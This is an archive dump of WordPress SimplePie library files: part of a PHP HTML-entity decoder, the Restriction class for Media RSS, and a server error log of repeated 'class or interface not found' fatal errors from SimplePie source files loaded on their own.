					'sup3;' => "\xC2\xB3",
					'supe;' => "\xE2\x8A\x87",
					'szlig' => "\xC3\x9F",
					'szlig;' => "\xC3\x9F",
					'Tau;' => "\xCE\xA4",
					'tau;' => "\xCF\x84",
					'there4;' => "\xE2\x88\xB4",
					'Theta;' => "\xCE\x98",
					'theta;' => "\xCE\xB8",
					'thetasym;' => "\xCF\x91",
					'thinsp;' => "\xE2\x80\x89",
					'THORN' => "\xC3\x9E",
					'thorn' => "\xC3\xBE",
					'THORN;' => "\xC3\x9E",
					'thorn;' => "\xC3\xBE",
					'tilde;' => "\xCB\x9C",
					'times' => "\xC3\x97",
					'times;' => "\xC3\x97",
					'TRADE;' => "\xE2\x84\xA2",
					'trade;' => "\xE2\x84\xA2",
					'Uacute' => "\xC3\x9A",
					'uacute' => "\xC3\xBA",
					'Uacute;' => "\xC3\x9A",
					'uacute;' => "\xC3\xBA",
					'uArr;' => "\xE2\x87\x91",
					'uarr;' => "\xE2\x86\x91",
					'Ucirc' => "\xC3\x9B",
					'ucirc' => "\xC3\xBB",
					'Ucirc;' => "\xC3\x9B",
					'ucirc;' => "\xC3\xBB",
					'Ugrave' => "\xC3\x99",
					'ugrave' => "\xC3\xB9",
					'Ugrave;' => "\xC3\x99",
					'ugrave;' => "\xC3\xB9",
					'uml' => "\xC2\xA8",
					'uml;' => "\xC2\xA8",
					'upsih;' => "\xCF\x92",
					'Upsilon;' => "\xCE\xA5",
					'upsilon;' => "\xCF\x85",
					'Uuml' => "\xC3\x9C",
					'uuml' => "\xC3\xBC",
					'Uuml;' => "\xC3\x9C",
					'uuml;' => "\xC3\xBC",
					'weierp;' => "\xE2\x84\x98",
					'Xi;' => "\xCE\x9E",
					'xi;' => "\xCE\xBE",
					'Yacute' => "\xC3\x9D",
					'yacute' => "\xC3\xBD",
					'Yacute;' => "\xC3\x9D",
					'yacute;' => "\xC3\xBD",
					'yen' => "\xC2\xA5",
					'yen;' => "\xC2\xA5",
					'yuml' => "\xC3\xBF",
					'Yuml;' => "\xC5\xB8",
					'yuml;' => "\xC3\xBF",
					'Zeta;' => "\xCE\x96",
					'zeta;' => "\xCE\xB6",
					'zwj;' => "\xE2\x80\x8D",
					'zwnj;' => "\xE2\x80\x8C"
				);

				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
				{
					$consumed = substr($this->consumed, 1);
					if (isset($entities[$consumed]))
					{
						$match = $consumed;
					}
				}

				if ($match !== null)
				{
 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
				}
				break;
		}
	}
}
src/Restriction.php000064400000010020151024210710010333 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<media:restriction>` as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Restriction
{
    /**
     * Relationship ('allow'/'deny')
     *
     * @var string
     * @see get_relationship()
     */
    public $relationship;

    /**
     * Type of restriction
     *
     * @var string
     * @see get_type()
     */
    public $type;

    /**
     * Restricted values
     *
     * @var string
     * @see get_value()
     */
    public $value;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($relationship = null, $type = null, $value = null)
    {
        $this->relationship = $relationship;
        $this->type = $type;
        $this->value = $value;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the relationship
     *
     * @return string|null Either 'allow' or 'deny'
     */
    public function get_relationship()
    {
        if ($this->relationship !== null) {
            return $this->relationship;
        }

        return null;
    }

    /**
     * Get the type
     *
     * @return string|null
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }

    /**
     * Get the list of restricted things
     *
     * @return string|null
     */
    public function get_value()
    {
        if ($this->value !== null) {
            return $this->value;
        }

        return null;
    }
}

class_alias('SimplePie\Restriction', 'SimplePie_Restriction');
src/error_log000064400000055702151024210710007252 0ustar00[28-Oct-2025 08:26:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 08:27:13 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[28-Oct-2025 08:27:17 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 08:27:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 08:30:06 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 08:37:01 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:30:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 21:30:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:30:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 21:30:30 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[28-Oct-2025 21:31:03 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 21:33:07 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 21:42:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[28-Oct-2025 21:42:35 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[28-Oct-2025 21:45:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[28-Oct-2025 21:50:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[28-Oct-2025 21:51:47 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[28-Oct-2025 21:52:51 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[01-Nov-2025 11:06:34 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[01-Nov-2025 11:07:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[01-Nov-2025 11:07:44 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[01-Nov-2025 21:17:35 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 00:00:22 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 00:00:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 00:01:03 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 00:01:22 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 00:01:38 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 00:06:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 12:58:23 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 12:58:29 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 12:58:33 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 12:58:42 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 12:59:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 13:03:53 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 13:11:18 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[02-Nov-2025 13:13:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 13:14:13 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 13:18:05 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 13:19:51 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 18:00:21 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[02-Nov-2025 18:00:27 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[02-Nov-2025 18:02:59 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[02-Nov-2025 18:03:26 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[02-Nov-2025 18:05:28 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[02-Nov-2025 18:06:29 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:45:58 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 10:46:09 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 10:46:15 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 10:46:25 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:46:55 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 10:47:56 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 10:57:03 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 10:59:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 11:00:30 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 11:01:33 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 11:02:36 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 11:04:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 11:22:08 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
[03-Nov-2025 11:24:10 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php:63
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Sanitize.php on line 63
[03-Nov-2025 11:26:17 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 11:27:16 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php:58
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Parser.php on line 58
[03-Nov-2025 11:32:17 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Item.php on line 57
[03-Nov-2025 11:33:19 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php:57
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Source.php on line 57
[03-Nov-2025 12:27:45 UTC] PHP Fatal error:  Uncaught Error: Class "SimplePie" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php:53
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Core.php on line 53
[03-Nov-2025 18:48:43 UTC] PHP Fatal error:  Uncaught Error: Interface "SimplePie\RegistryAware" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php:55
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Locator.php on line 55
